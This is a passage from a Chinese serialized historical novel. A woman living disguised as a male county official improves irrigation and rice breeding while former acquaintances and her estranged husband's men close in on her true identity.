潘竞接过图纸,仔细地看了起来,觉得可行。两人又针对一些细节讨论了一番,便决定叫人先制作出来。若试用效果好,便在全县推广。 两人聊了一会儿,茶也喝完了。潘竞四处望了望,问:“那苏氏呢?” 寻真:“在后院呢,子尚可是要见晓晓?” 说起苏氏,她搬进小院后,寻真得知了她的名字,叫小蝶。一听到这个名字,寻真顿时恍然,难怪初见时总觉得她的眼睛莫名熟悉。 原来,她真见过。 寻真私下与甄凌聊,甄凌印象模糊,却也隐隐约约记得有这么一个人。 两人便与小蝶聊了聊,才知道小蝶早年卖身为奴,曾在谢家做过几年奴婢,后来因犯了些事,便被赶了出来。没想到兜兜转转,最后还是到了寻真这里。寻真和甄凌不禁感叹命运的奇妙。 好在小蝶那时年纪小,又过去了太久,谢府中的人和事她大多都忘了。寻真问时,她也只是模模糊糊地想起一些,并没有认出寻真和甄凌。 潘竞和寻真到后院,苏小蝶正在做绣活,见两人来了,忙起身问好。 听潘竞说要看孩子,苏小蝶便将二人带到小木床边。 小娃娃躺在床中 央,眼睛一眨一眨,正玩着自己的脚。 潘竞伸出来,轻轻点了点婴儿的脸蛋。 那婴儿也不怕生,睁着眼睛,好奇地打量着他。 寻真改良后的翻车造出来后,一经试验,提水效率大幅增进,便全县大力推行使用。除此之外,寻真还尝试研究更复杂的水力机械,用水力驱动水车群,使灌溉更加规模化。 寻真还辟了一块试验田。因古人不了解遗传规律,便无法针对性地进行品种改良,而寻真虽然懂一些,但也只是高中阶段的知识。 寻真想培育优良稻种,提升水稻产量,奈何知易行难,实施起来困难重重。 不过寻真一直没放弃,县衙里的活做完了,便跑去田里,对大量的样本进行观察、分析,都记在小本本上。 从中挑出单株或单穗,特别高大、健壮且无病虫害的优秀稻穗,拎到自己的试验田中。 就拿人工授粉来说,水稻花太小了,需要精密的操作技巧和工具,来进行精确的去雄、授粉,寻真便又琢磨着,画了图纸,专门寻工匠打造。 人一旦有了目标,时间就过得特别快。 在田里忙活时,甄凌和小蝶便交替来给她送饭。潘竞也常来看,见她做实验条件实在艰苦,便自掏腰包,在试验田附近给她造了间休息室。 一日,潘竞上下打量着寻真:“竞舟,我怎感觉你又黑了不少?” 寻真自然也发现了,之前她还刻意将肤色晒黄,以作掩饰。可这个夏天,实在太晒,即便戴着帷帽,也挡不住紫外线的攻击。 晒了一整个夏天,寻真自己照镜子都吓了一跳,现在实在是黑得有些过分了。 她也愁着,寻思要不要去脂粉铺买些护肤品之类的。 潘竞从腰间拿出一个玉质小圆盒,递给寻真。 “这是我平日常用的面膏,你每日洁面后,涂一些,或许能有改善。” 寻真收下了:“多谢……改日我请你吃酒。” 刑部。 夜色深沉,陈安正挑着灯,整理各类案件卷宗。翻到前段时日轰动朝野的死刑案件时,他随手翻开,瞄了一眼,这一眼,视线便凝住了。 他神色严肃起来,拿起烛台,凑近卷宗,逐字逐句仔细地看,直至看到末尾。 卷宗末尾处,列着参与此案处理的官员署名。 有好几个名字,陈安看着,脑海中不禁浮现了会试结束那日,他偶然瞥见的熟悉脸孔。 陈安,也正是承安,脱籍后他便改回原名,此后一心苦读备考,巧的是,他下场的那一届,正好与寻真撞上。 而寻真看到承安后,在会试放榜时也曾留意过名字,因承安改了名,寻真便没发现。 陈安中的是三甲同进士,闻喜宴、游街等活动都没资格参与。所以两人之后就没碰见的机会。 陈安后又通过吏部铨选,在刑部谋得主事一职。 陈安越看越心惊,他跟了谢漼十三年,再熟悉不过他的字迹。至于寻真,她又会时常写些采买清单让瑞宝去办,陈安也多有过目,自然认得她的笔迹。 陈安凝视着卷宗,上面的字虽刻意调整过,可细微之处,却与姨娘的笔迹极为相似。 陈安心中登时生出一个大胆的猜想。 会不会,姨娘根本就没死呢? 当下惊得冷汗直冒。 那时,第二日火扑灭,陈安便即刻派人抓那两个丫头,几乎动用了所有人手,甚至将画像交予城门兵差协查,两个女子,本就惹人注目,按常理说不可能抓不到,可最终还是让她们逃脱了。 陈安回想那两具焦尸,面目全非,烧得连骨头都露出来了,当时他们又是如何判定其中一具就是姨娘的呢? 不过是依据焦尸的身形,以及从其中一具焦尸身上掉落的簪子。 还有,院后偏门叠放的三块石头。 当时,陈安还让丫鬟们试过,她们都翻不出去,这才认定是凶手所为。 可有一件事被他彻底忽略了。 此事唯有陈安知晓,从未向旁人提及,那就是—— 姨娘曾有偷溜出府的“前科”! 想到这里,陈安只觉得头皮发麻,全身鸡皮疙瘩骤起。 他越想越觉得其中蹊跷,若那两个女子真是姨娘和丫鬟引儿,那无论如何拿着画像搜寻,自然是徒劳无功。 如此一来,所有怪异之处便能说得通了。 但有一点让陈安百思不得其解,若姨娘真的还活着,为何不来找爷呢? 更让人难以置信的是,她竟还胆大包天,参加了科举? 可这般毫无根据的推测,他也不敢贸然告诉谢漼。陈安纠结良久,还是决定,先自己派人调查,等有眉目,再去拜见谢漼。 处理完手头公务,陈安凭借记忆,绘出寻真和甄凌的画像,随后又寻人打听昆山县的官吏。 第118章 第118章“几乎可以确定”…… 每至季度更迭,潘竞都需向苏州刺史汇报工作,季度汇报递交文书即可,到了年终,便需本人过去。 年终汇报的准备工作就更多了,寻真耗费一周,将昆山县一年的治理情况,税收、农业生产、司法案件等各方面的数据,整理成册,交给潘竞。 潘竞随手翻了几页,道:“此次岁末奏报,竞舟与我一同去吧。” 接着又问,“听闻竞舟曾在青麓书院问学?” 寻真:“嗯,我在苏州城住过两年。” 潘竞:“那竞舟必定对苏州城极为熟悉了?正巧我从未去过,届时便劳烦竞舟带着我四处游玩一番?” 寻真:“好。” 潘竞和寻真一去,便让主簿和县尉暂代管理县中事务。 两人坐着马车去,第二日傍晚入苏州城。 门子早已在城门口候着,见他们到了,上前迎接,引他们到子城。小吏将寻真二人带至正厅,请他们稍作等候,仆人们奉上热茶与点心。没过多久,小吏走进来说,刺史大人因家中突发要事,无法亲自接待,便让长史代为相迎。 片刻,一位身着绿色官服的青年走进正厅,目光一扫,定在潘竞身上,道:“子尚,许久未见。” 潘竞起身行礼,笑道:“怀逸,早听闻你在此地,今日可算见到了!” 寻真心想,这两人还认识呢。 也跟着行礼:“长史大人。” 范岂的眼神投向寻真,怔怔的,说不出话来。 潘竞瞧着范岂这副发愣的模样,心道,范岂这人,莫不是还惦记着他那位“灵仙”姑娘? 虽潘竞这些年被扔到了边境,可京中的瓜是一个没少吃,自然知谢漼那妾室亡故后,谢漼悲痛欲绝,还突发心疾。也知道范岂后来与王家孙女和离,连儿子都送给了王家。王家为了补偿他,便给他疏通关系,为他谋得了苏州长史这一职。 那时听闻,潘竞心中就猜,莫不是范岂一直没忘那人,才守不住这么好的亲事。 这次,看着范岂的痴样,潘竞确定了。 是真没忘! 不过……这甄善美是真像缮之那小妾! 至于寻真,她与范岂总共也就见过两面,时间又过去那么久,当然早忘了范岂长相。见范岂直勾勾地盯着自己的脸,寻真还以为脸上沾了什么东西,抬手摸了摸。 潘竞:“怀逸!” 范岂回神,笑了笑:“不知子尚今晚可有安排?” 潘竞:“本想着让竞舟带着我四处逛逛,怀逸这么问,莫不是晚上有什么特别的安排?” 范岂:“今日由我做东,请二位去城中有名的酒楼一聚,如何?” 潘竞鼓掌:“怀逸请客,自然是再好不过!” 天色已晚,政事暂且搁置,三人坐马车去河畔的水上酒楼。 范岂已派人订好了位置,一到,便有侍者引着上船。 酒楼建于船上,共有三层。 琉璃灯高悬,灯火如星,将河面映得通亮。乌篷船、画舫在河面上往来穿梭,热闹非凡。楼内丝竹齐鸣,乐声婉转。登上第三层,立刻便有人引至座位。 舞台中央,舞姬们身着彩衣,长袖翻飞,舞姿婀娜。 寻真虽在苏州城住了两年多,却从未涉足过这种场所。这种附带歌舞表演的画舫酒楼在苏州城内极为兴盛。 在古代,这种地方多少都带着些情/色消费的意味。 三人的位置在窗边,寻真与潘竞坐一排,范岂则坐在潘竞对面。酒菜还未上桌,三人开始交谈起来。 寻真和范岂便互通了姓名。 大多时间都是潘竞与范岂聊,寻真偶尔插上几句。 古代有钱人是会享受的。 十一月末,天气已很冷了,但酒楼内燃着炭,暖意融融,寻真望向窗外,欣赏河中夜景,偶尔看一眼中央的歌舞表演。 潘竞就瞧着,对面那人说着说着,那眼神就挪到他隔壁去了。 心中嘀咕,这范怀逸,果真还是跟以前一样,书呆! 即便再像,也不该这般不加掩饰地盯着人家看,怕是要被甄善美误会他好男色。 潘竞握拳,抵着唇,咳了两声提醒。 范岂这才反应过来,收回眼神,这时,寻真起身道要去解手,范岂便抬起头来,目送着她离去。 潘竞简直没眼看。 这眼神都黏人家身上了。 潘竞回头看了一眼,等寻真完全消失在视野中,直接点明道:“怀逸也觉得竞舟像那人?” 两人都心知肚明,潘竞口中的“那人”是谁。 范岂沉默片刻,道:“……看来子尚亦与我有同感。” 潘竞:“怀逸应也知,那人已香消玉殒,这世上长相相似之人众多……怀逸若再这般盯着人家看,我恐竞舟要误会呀。” 范岂道:“子尚所言极是,是我失礼了。” 寻真往回走时,忽然就想起来了。 这范岂,她见过。 最近是尽碰见熟人了。 怪不得这人总盯着她看。 心想,难道读书人记性都这么好?她现在变化这么大,居然一下子就看出来了。 寻真 回去时,装作若无其事的样子。 用完餐,范岂坐上马车,忍不住掀开窗帘,往后望去,见潘竞和寻真在一个小贩面前停下,买烤饼。 范岂目光定在一人身上,久久未曾挪开,直至马车拐了弯,再也看不见。 范岂沉思片刻,吩咐车夫转道,去子城,半个时辰后抵达,范岂进了州府,直接朝架阁库走去,这里存放着各类文书档案,以及下属官员的资料。 范岂一番找寻,很快找到了甄善美的个人资料。 【甄善美,字竞舟,泗州虹县青阳镇滩头村人,进士出身,于天启二十年恩科高中……】 范岂逐字看,看到某一句时,视线凝住了。 苏州府解元。 甄善美原籍在泗州,怎在苏州参加的科考? 莫非……? 大周朝并非绝对要求考生回原籍考试,若在当地拥有房产、田产,便可申请落户,从而获得在苏州参加考试的资格,还有一种途径便是得到书院的保荐。 范岂回了住处后,派下属去甄善美的原籍进行调查,随后简单洗漱,上了床。 越想越睡不着。 竟一夜未眠,睁眼到了天亮。 范岂踏着晨光,到了青麓书院。 范岂幼时有“神童”的名号,自然就读于苏州府最负盛名的书院,入学后,始终独占鳌头,后来更是一举高中,书院中的夫子们都还认得他。范岂先是拜访了院长,后去夫子斋舍,与夫子们交谈了一会儿,便去了藏书楼。 藏书楼内藏书浩如烟海,还存放着历届学子的优秀答卷,以供学子们查阅学习。范岂进藏书楼,凭借记忆,到存放答卷的书架前,范岂自己的也被存在这里。 范岂按照年份,很快找到了寻真那一年的布袋。 范岂打开一册,轻轻翻开,翻到第四页,便看到了“甄善美”的名字。 范岂看着那字。 迟迟没有回过神来。 半个时辰后,范岂看完了所有“甄善美”的卷子,走出藏书楼。 明媚阳光下,他深深舒出一口气。 这日,寻真见到了刺史。 刺史五十上下,身量中等,不高不矮,身形匀称,因脸型有些方,轮廓硬朗,整个人看上去很是沉稳威严。 潘竞和寻真需在苏州城停留至少五天。 等别县的官员到齐后,刺史便要召集辖区内各县令一同开个会,共同商讨来年各区域的治理,以及传达最新的政策法规。 寻真不用参与,大多事都由潘竞出面处理。 寻真就很闲,也不需要定点上下班,住在自己的小宅子里,逛个街、听个曲,整日吃吃喝喝,倒像是带薪休假。 不过,有些社交活动推不掉,各县官员到齐后,每晚都有各种宴请。 一日,刺史做东,包下了一整艘游船,宴请所有官员。 游船缓缓在湖上开着。 潘竞一脸我吃到大瓜的表情,拉着寻真说:“竞舟,你猜我知道什么了?” 寻真:“什么?” 潘竞朝被众人簇拥的刺史看了一眼,道:“那老头那天不是说家中有突发要事处理吗?你猜他回府做什么去了?” 潘竞也没卖关子,直接道:“是他宠妾和正妻打起来了,据说,他那正妻被宠妾打了好几个耳刮子,差点毁容,这老头子是回去劝架去了!……啧啧啧。” 寻真看了眼刺史,心道,这人看着这么正经,倒是想象不出来那种场景。 “七郎!七郎!好久没见呐……” 一人快步走过来,看样子是潘竞的熟人,拉住潘竞便热络地攀谈起来。 寻真走到窗边,看船外的风景。 潘竞与这人聊了许久,都没想出来这人叫什么名儿,抽空瞥了眼寻真那边,见范岂朝寻真走过去了。 “……竞舟。” 寻真转过头,见是范岂,行了个礼:“长史大人。” 范岂注视着她:“竞舟,你与我一般年岁,私下里我们便互称字吧,不必如此拘谨。” 寻真:“嗯……怀逸。” 耳畔丝竹声、交谈声交织在一起。 闲话了几句,谈话气氛陷入了沉默。范岂望着游船飞檐下吊着的灯笼,忽然开口道:“竞舟,去岁元夕,我偶然看到一题,始终想不出合适的解,不知可否,能听听竞舟的妙解?” 寻真心道,怎还突然考起学问来了…… 寻真挠了挠下巴,这是回旋镖打回来了。 她可最不擅长吟诗作对的。 寻真嘴上却道:“怀逸但说无妨,只我在诗赋方面是弱项,想出来的或许还不及你的精妙。” “若以鹰与鱼为题,作四言对句。” 范岂转过身来,注视她:“竞舟会如何作?” 寻真看着窗外,神经瞬间紧绷起来。 范岂这是在试探她? 脑海中迅速回忆着,当时她念那句,应该没被范岂听到吧? 应该没有,寻真记得,是离开灯摊很远后才遇见范岂,而且范岂从相反的方向来。不可能听到。 所以应该是巧合? 保险起见,寻真道:“……怀逸,实在抱歉,我才疏学浅,想不出精妙的解。” 说完,便见范岂露出失望的神色,那眼睛肉眼可见地,一下子暗了下去。 寻真心想,看来他真的很想要这答案啊。 寻真正纠结要不要把现成的句子告诉范岂时,两人中间突然探进一个头,紧接着便是潘竞的声音:“竞舟,怀逸,你二人在此处说什么悄悄话呢?” 范岂:“随意闲聊几句罢了。” 苏州府的事务都办完了,潘竞和寻真便准备打道回府,出城那天,范岂来送行。 潘竞和寻真上了马车,范岂站在原地,目送马车离去。 三日后,范岂派去泗州的人回来了。 便知道了甄善美何时重新入的籍。 时间也能对得上。 巧合这么多。 几乎可以确定了。 第119章 第119章“荒谬” 陈安那边,看到了甄善美的相关信息,便确定是他了,此事干系重大。若真的是姨娘,便不能派人去查。陈安便决定等刑部不忙了,他再告假,亲自去一趟昆山县,一瞧便知。 而永望那边也找到了线索,循着蛛丝马迹,一路追至泗州。谢漼得知消息后,默了片刻,即刻修书一封给泗州刺史,命永望持信去泗州。 永望快马加鞭,九日便抵达了,泗州刺史看了信之后,唤来司户参军,协同永望调查。 依据现有的调查情况,永望已确定时间为天启十六年,八月份,由此筛选出一部分户籍资料。但毕竟要查一整个州的户籍,工作量太大,司户参军召小吏们一同找。 挑出可疑的,随后逐户实地查访。 这般忙了大半个月,依旧一无所获。 一群人焦头烂额。 其中一小吏道:“都找遍了……确实没了……” 永望:“不可能……定还有遗漏之处。” 小吏们苦着脸,一人道:“我们都反复核查三回了,两个女子单独的户口,如此显眼,绝不可 能遗漏。” 泗州地域广袤,人口殷盛。遭了大洪灾,死了好多人,但……户籍册子还是很多,层层堆叠,摆满了上百个架子。永望望着这堆积如山的案卷,突然心中一动,若那两名女子乔装,谁说她们一定还装成女的? “凡是二人独户都挑出来,二女已查过了。现下只剩,二男或是一男一女……劳烦诸位了。” 永望说完,众小吏皆唉声叹气,面露苦色。 虽艰巨,但总会有查完的那一天。 时光流转,又是新的一年。 去年秋季,寻真将饱满、无病虫害的稻穗保存下来了。三月中旬,气温逐渐回暖,开始着手播种。 寻真先是划分出两个区域,一块区域种病虫害抗性强的稻。寻真是这么挑的:在病虫害多发的田中,找长得壮的,或是选成熟早的稻穗。早熟品种可避开部分病虫害的高发期。 另一块区域则用穗大粒饱、茎秆粗壮的稻种。 工具也打好了。 授粉刷用羊毫毛,长度跟手指差不多。花粉收集器,用真丝制成。寻真让小蝶做的,花粉收集器呈小口袋形状,开口处装有可收紧的绳圈。还打了一把镊子,质地为铜,又细又长,经过反复敲打和调整,夹头十分灵活,而且夹紧力恰到好处,用起来很趁手。 寻真密切留意着水稻开花的时间,又不放心交给别人做,待水稻花开,忙着取粉,再一朵朵授粉。水稻花就那么丁点儿,还长得密集,一亩地,寻真足足忙活了半个月,感觉自己快瞎了。 工作强度远远超过身体所能承受的极限。 一日,寻真连床都爬不起来了。 甄凌按下寻真试图起身的手,“哥哥病了,今日就在家中好好休息一天,别再惦记你那块地了!”说着,又摸了摸寻真的额头,比了比自己的温度,“有点烫呢,莫不是发热了?” 甄凌让苏小蝶去衙门帮寻真告假一日,因寻真身份,不便请郎中,只能由甄凌去城中医馆,口述寻真的症状,抓些药回来煎。 甄凌喂寻真服下药后,寻真迷迷糊糊地睡了过去。 这一病,便是三天。 潘竞来探望了几次,寻真一直处于昏睡不醒的状态。 第三日午后,潘竞坐在床边,望着在被子里,只露出一张小脸的寻真,见她面色苍白,脸瘦了一圈,下巴也尖了。 “药可都按时吃了?郎中怎么说?” 甄凌额头满是汗珠,心中忧虑万分。 寻真每日坚持锻炼,自泗州那次感染时疫后,便再未生过病。如今这般,甄凌便担心是不是药开错了,可她又不能请大夫来诊,只道:“看了看了,昨日也请了郎中来看过呢。” “药也按时吃了。” 潘竞伸手,用手背轻轻碰了碰寻真的脸,接着又摸了摸她的额头。 “还有些热。” “都三日了,还不见好,许是这里的郎中医术不行,我这便派人去苏州城中请厉害的大夫来。” 甄凌应了一声,心中愈发着急,双手攥在一起,掌心全是汗水。 待潘竞走后,甄凌贴身照料了寻真一夜。直至天亮,寻真的烧总算退了。 寻真清醒过来,见甄凌满脸憔悴,哑声唤道:“凌凌……” 甄凌带着哭腔:“你可担心死我了……” 中午便差不多恢复了。 潘竞走进小院,寻真正坐在院中看书,起身,微笑道:“子尚。” 潘竞上下打量着她:“竞舟好了?” 寻真:“好了,明日便可去上值了。” 潘竞:“我还叫人去苏州城给你请了擅治热症的大夫呢,一会便到了。” 寻真:“多谢子尚关心。” 潘竞上前,拎起一把小竹椅,放寻真边上,坐下,“这椅子倒是精巧,竞舟是从何处买来的?”” 寻真:“是我自己做的。” 潘竞一脸新奇:“竞舟竟有这般巧手?”又看看寻真身下的躺椅,“这卧榻莫不是也是竞舟亲手所制?” 寻真:“闲来无事,便喜欢做些手工活。子尚若想要,我便给你做一个?” 潘竞一看便知这卧榻手工做起来,定是工序繁琐,便指了指竹椅:“我要这个。” 寻真:“子尚若不嫌弃,现成的便可拿去。” 潘竞:“好。” 闲聊片刻。 潘竞道:“竞舟,那农活便雇人去做吧,你这小身板,可别把自己累垮了。” 又半开玩笑道,“这番你病了,我才知我是多么缺不了你啊!” 寻真笑:“明日便回去了。” 刑部公务冗杂,陈安这大半年,忙得脚不沾地,直到六月中旬,才有了空闲,便请了长假,动身去苏州。 途中,在一家客栈歇脚。 陈安把包袱放在凳子上,小二上菜时没注意,碰掉了,包袱里一卷画滚开来了。 小二蹲下:“对不住啊,客官。” 拾起画卷时,随意一瞥,咦了一声。 陈安从他手中接过画像,问道:“你可是见过这人?” 小二有些不太确定:“好似是见过。” 陈安掏出一锭碎银,放在桌上:“小哥是何时见到的?” 小二记性平平,可寻真那日所为,实在太过惊世骇俗,便让小二对寻真那张脸印象深刻,故而一看到画像便觉眼熟,只是一时没将脸与记忆对上。在银子的激励下,小二很快回想起来,随即便将寻真当日的所做作为,一五一十、原原本本道了出来。 陈安听着小二的描述,心口一沉:“你可还记得那位公子的模样?” 小二道:“那位公子身高八尺,可是我生平见过最俊的人了呢。” 陈安:“可还有旁的?可记得马车上面绘的是何图案?” 小二哪里还记得这个,摇摇头:“这……我记不清了。” 陈安将银子递给小二。 小二收了银子,刚往前走几步,突然想起什么,转过身道:“对了,客官。” 指了指自己右眼下方:“那位公子,这里有颗红痣呢。” 如今看来,已有八成的可能了。 爷跟姨娘在此客栈同一日入住。 从小二口中推断出这一点,陈安只觉荒谬,怎么可能? 陈安心想,去了苏州,便能确定了。 寻真在县丞署用午膳,潘竞来找她。 时间久了,两人愈发熟络起来。潘竞就跟到自己地盘似的,径直走向塌边,一屁股坐下。 “竞舟,咱们苏州府的刺史要换人了!” 寻真颇感惊讶:“刺史的任期不是还未到吗?” 潘竞噗嗤一笑:“那老头可等不到任期结束咯……要被革职查办啦!” 这么突然。 寻真:“为何?” 潘竞眼底满是幸灾乐祸:“被人弹劾贪污!” “嘿,你猜猜是谁干的这事儿?” 瞧着潘竞这副模样,寻真脑海中便浮现了一张脸。 潘竞拍着手掌:“范怀逸那小子有胆识!” “竟能干出这般大事,实在令我佩服!” “我日后再不嘲笑他是个书呆了!” 竟真的是范岂,虽跟范岂共事不过短短一周,但从他平日的言行举止,便能看出,他这人很耿直,也不搞官场中的那些弯弯绕绕。 竟把自己的顶头上司举报了。 寻真心想,若是换作自己,大概率忍气吞声,惹不起便躲。 ……不过还好,自己运气不错。 两个领导都挺好的。 寻真:“处罚已下来了吗?他可会逃过?……范岂他会不会有事?” 潘竞:“逃不过!” “……范岂能有什么事?!他背后可是王家,这事说大也不大,王家还是会护着的。” 傍晚,寻真走出县衙,抬眼望去。 天边绯云流动,落霞似火。 寻真驻足欣赏了片刻,而后牵着马,朝前方走去。 不远处的陈安看清了面容后,顿时瞪大了眼睛。 永望在泗州待了半年,还是没收获,实在没脸回去见谢漼。 不死心地梳理了一遍现有的线索。 看来看去,总算又找出了新的可疑之人。 永望盯着面前这一份文书。 上面记录着甄 家兄妹的信息。时间对的上,许多细节也很可疑,滩头村的人死了那么多,自然容易入籍。 只有一点令人费解,这甄家哥哥,有功名在身,去苏州读过书,还参加了科举,怎可是女子? 永望看了眼,便放在一旁,夜里睡觉时,突然想到一点,猛地从床上坐起。 那甄家兄妹,连家都毁了,哪来的钱去苏州求学? 又哪来的盘缠赴京赶考? 等天亮后,永望忙赶去滩头村查,问遍了村里的人,终于从一大娘口中得知了关键消息。原来,那甄家兄妹是半途插入他们流民队伍的。 实在可疑。 第120章 第120章“刺史大人来了!”…… 陈安穿过朱雀门,脚步急切,到其中一宅子门口。 宅门口有两个青年坐着,一旁几上放着盘瓜子,两青年肩靠着肩,唠着。 陈安过去:“瑞宝、康顺。” 二人站起来,齐齐惊喜道:“承安哥!” 瑞宝一拍脑袋,笑道:“啊,不对,如今是陈大人啦!” 陈安:“不必如此见外,还是如以前一样唤我便好。” 如今陈安脱了奴籍,有了官身,却从未忘记来时路,也不刻意隐瞒自己曾在谢家为奴的经历。当然,这也难免使他在官场遭到偏见。 陈安往里望了一眼,问道:“爷今日可上值?” 瑞宝闻言,讶异道:“承安哥竟不知?” 陈安:“我这些日子离京办了些事,怎了?发生何时了?” 瑞宝:“爷外任了,前日,便已离京了。” 陈安心道,前日离京,带着恒哥儿,马车必定行得慢,若现在快马去追,不知能否追上。 于是又问:“外任何地?” 新刺史即将到任,按照正常流程,长史、别驾、司马等属官需往城门口亲自迎接,安排仪仗队伍,晚上还要为刺史大人举办接风宴,届时县令、县丞等下级官员也都会赶来州城,参加迎接仪式。 朝廷任命诏书下达后,新刺史便寄书告知,仪式一切从简,接风宴也无需操办,只需将州府的文书档案等重要物件备好即可。 上任苏州刺史因被弹劾贪污,收到弹劾奏书后,圣上下令,由御史台牵头组成调查组,启动正式调查。因苏州长史提供了全面详实的证据,调查十分顺利。 最终,圣上定罪,将上任刺史革职流放。 对于事件中心的举报人,范岂。 州府的官吏们得知此事后,都明显地疏远了他,还时常背着他窃窃私语。 “……这范岂莫不是失了心智?” “可不是嘛,我早就看出这人读书将脑子读坏了!若有个厉害的靠山,倒还说得过去,可如今他跟王家女都离了,人家还能管他一辈子?” “就是,就是……新刺史很快便要到任了,就他这样的,哪个敢重用?” “他这是将自个的路走死了……我看呐,日后定得后悔!” 范岂自然也明白自己做下此事,对自身会产生怎样的后果,也曾迷茫过。 其实证据早就收集好了,只是一直犹豫不决。 书上说,贪者民之贼也。 故可饥、可寒、可杀、可戮,独不可一毫妄取。 而入官场后,才知有些事并非自己想象的那般简单。范岂既然做了,便也准备好了,迎接随之而来的冲击。 “刺史大人快到了!” 小吏前来通报。 属吏们得知消息后,纷纷赶到子城门口迎接。长史、別驾、司马等属官们站在一侧,一同注视着城门口驶来的马车。 待马车停下,马车中人现身之后,众人只觉眼前一亮。 別驾、司马、录事参军几人都暗叹,果然百闻不如一见,当真是风姿卓绝。 別驾上前道:“大人一路可好?下官未能隆重迎接刺史大人,实是失职。” 几人纷纷上前告罪。 新刺史道:“无妨,一切从简便好。” 简单寒暄几句,新刺史再度登上马车。待到了州府衙署,新刺史率先下了马车,接着在马车边等着。 随后,一只小手掀开了马车帘。 一张与新任刺史极为相似的小脸出现在众人面前。 刺史将男孩抱下了马车。 男孩亦步亦趋地跟在刺史旁边,走进州衙大门。 等到了正堂,新刺史吩咐了句,令人将男孩带到一旁的空房去。 州衙正堂,属官们排排站好。 范岂看着眼前之人,有那么一瞬走了神。 得到消息时,也惊讶了许久。 怎会是谢漼? 他应是不知小楼姑娘还活着吧? 范岂心想,她在昆山县,平日也无需来州衙,若想不被发现,倒也简单,只需想办法传信给她,让她别来州衙。 不见面,便不会被发现。 范岂猜出寻真的身份后,便一直藏在心底,心道,若当面戳穿,恐会让她惊慌,倒不如装作不知。 如今这样也很好。 小楼姑娘,脱离了谢府。 走到这一步,不知吃了多少苦。 范岂惊叹、佩服,也在心中默默决定,永远将此事烂在肚子里。 替小楼姑娘守护着这个秘密。 可看到谢漼,仍不免忧虑起来,若让谢漼知道了,以他如今的权势,便能神不知鬼不觉帮她处理好如今的身份,她自然也不必害怕女子身份暴露而有生命之危。 但这样一来,也会将她一辈子困在内宅里,那一身才华便再无施展的机会。 范岂做官十三年,与大大小小的官员都打过交道,去岁,他与寻真共事虽时间短暂,却是能看出来。 她虽官职微末,却是一个好官。 她以女子身份,冒天下之大不违,参加了科举,还做了官。 范岂知道这一事后,心中竟涌起骄傲来。 这是他心心念念,记挂了十二年的女子啊。 短短一瞬,范岂心中思绪万千,很快,他便收拾好自己的情绪,面色如常,开始向谢漼汇报本州的政务情况,人口、税收、治安、民生等方面的基本数据。 接着,属吏们按照级别依次向新任刺史汇报自己负责的事务。 属官们讲完,新任刺史没有别的吩咐,便退下了。 范岂行了一礼,转身向外,出门后,脚步一顿,余光瞥见旁边屋子,有一个小男孩倚在门边,瞅着他们这里,见他们出来,便立刻过来了。 范岂抬步离去,仅仅一眼掠过,便认出了。 这便是小楼姑娘的孩子了。 两人竟这般像。 “爹……” 谢璋走到谢漼旁边,扯着他的衣服。 谢漼拿起谢璋的手,把了把脉,“还不舒服么?” 谢璋点点头:“嗯……头疼。” 谢漼:“无大碍,许是因马车坐久了。今日早些歇息,好好睡上一觉,明日便无事了。” 路上,谢璋因长途颠簸,身体疲累,中途还发了热,因此耽搁了许久。 陈安得知谢漼外任苏州,亦是震惊许久,这般巧,若早知如此,他直接在苏州等着便是。如今又要跑一趟,虽有些麻烦,可陈安也没有丝毫耽搁,快马加鞭再度赶去。 他深知,苏州这般 大,即便谢漼去了,若姨娘有心避开,即便身处同一州,也不会碰见。再加上,他也知道爷这几年一直在追查那两个凶手,如今,必须得赶紧告知真相,时间一晚,若是阴差阳错让姨娘暴露女子身份……姨娘犯的这可是欺君之罪,爷是保不住她的。 所以,无论如何,他都得赶紧将真相告诉谢漼。 越快越好。 只是没想到,陈安早到了,便暂时住在客栈中,一边打听新任刺史的消息,一遍焦急地等待着。 若谢漼再不来,陈安的假用完了,那时就必得回去了 还好,谢漼在他的最后期限抵达了。 天色一暗,陈安便前往刺史府拜访。 在门口撞见了永望。 永望翻身下马,拎着一包袱:“承安哥!你怎来了?” 陈安瞧他满面风尘,便问:“你刚回来?” 永望:“是啊,我刚从泗州过来。” 陈安神色一变:“泗州……可是查出什么来了?” 永望拍了拍包袱:“算是又有了些眉目,还不确定……得继续查呢。” 两人一道迈进了门。 寻真三月播下的早稻,到了七月,便迎来了收获。 这期间,寻真悉心照料着试验田,施肥、灌溉、除草,事事亲力亲为。她还施了一些石灰水、草木灰水,用以预防虫害。期间,试验田也曾几次遭虫害侵袭,令寻真忧心不已,还想了法子,投放鸭子入田捕害虫。 或许是人工授粉发挥了效用,这片试验田对病虫害的抗性,似乎比其他田强一些。 她也去别的田观察了。遭了虫害的田,稻穗便参差不齐,稻粒也不会颗颗饱满。部分稻穗明显发育不良,个头偏小,籽粒是空瘪的。 寻真的试验田状况要好得多。 不过,一切还需等待收获后,比对各项数据,算过结实率,便知道结果了。 七月中旬,成熟的稻田在阳光的照耀下,金灿灿的。 微风吹过,稻穗簌簌作响,若金浪翻涌。 寻真的辛勤劳作终于换来了丰硕的成果。 寻真立在田边,看着丰收盛景,心中无与伦比的满足。 一路走来,她留意到自己的稻是最早成熟的。 寻真按捺不住内心的激动,迫不及待跑进田里,验收成果。 潘竞又没找着人。 随便逮了个人问:“甄善美又去田里了?” 得到肯定的答复后,便向外走去。 潘竞刚离开不久,小吏赶来通报。 刺史大人来了! 县衙属官们听闻新任刺史突然驾临,猝不及防,顿时乱了阵脚,想着莫不是有人犯下了什么大罪,引得长官亲自来拿人。 众人神色紧张,齐聚正堂,迎接刺史大人。 今日阳光格外好,外头明亮的光线涌入。 门口最亮处,出现一位身长八尺,着一袭白袍的男子,步履有几分急切。随着他逐渐走近,一张如玉面庞愈发清晰了。 待看清刺史大人的模样,属官们俱一惊。 怎会如此年轻? 人还未走到跟前,众属官纷纷躬身行礼,向新任刺史问好。 只听刺史大人问道:“县令、县丞在何处?” 众人心道,怎这般不巧,县令县丞都在田间,若让刺史大人误以为他们疏于公务,便不好了。 主簿忙站出来,解释道:“如今正值丰收之季,县尊与县佐都去田间巡视了。” 刺史:“在何处?” 主簿微微讶异,见小吏已将茶点端来,本是要招待刺史大人的,没想到刺史也要去田里。 武岳忙上前:“下官为大人带路。” 寻真在田里来回走着,越看心中越欢喜。 稻穗饱满、健壮,稻粒挨挨挤挤的,饱满得仿佛随时都要撑破外壳。 寻真转了一圈又一圈,预估了下,结实率至少提高了3%,而且从外观来看,明显比别的田长得更壮。 寻真看着这一片丰收成果,开心死了。 忽然听见有人在唤她。 “甄善美——!” 寻真抬起头,是潘竞。 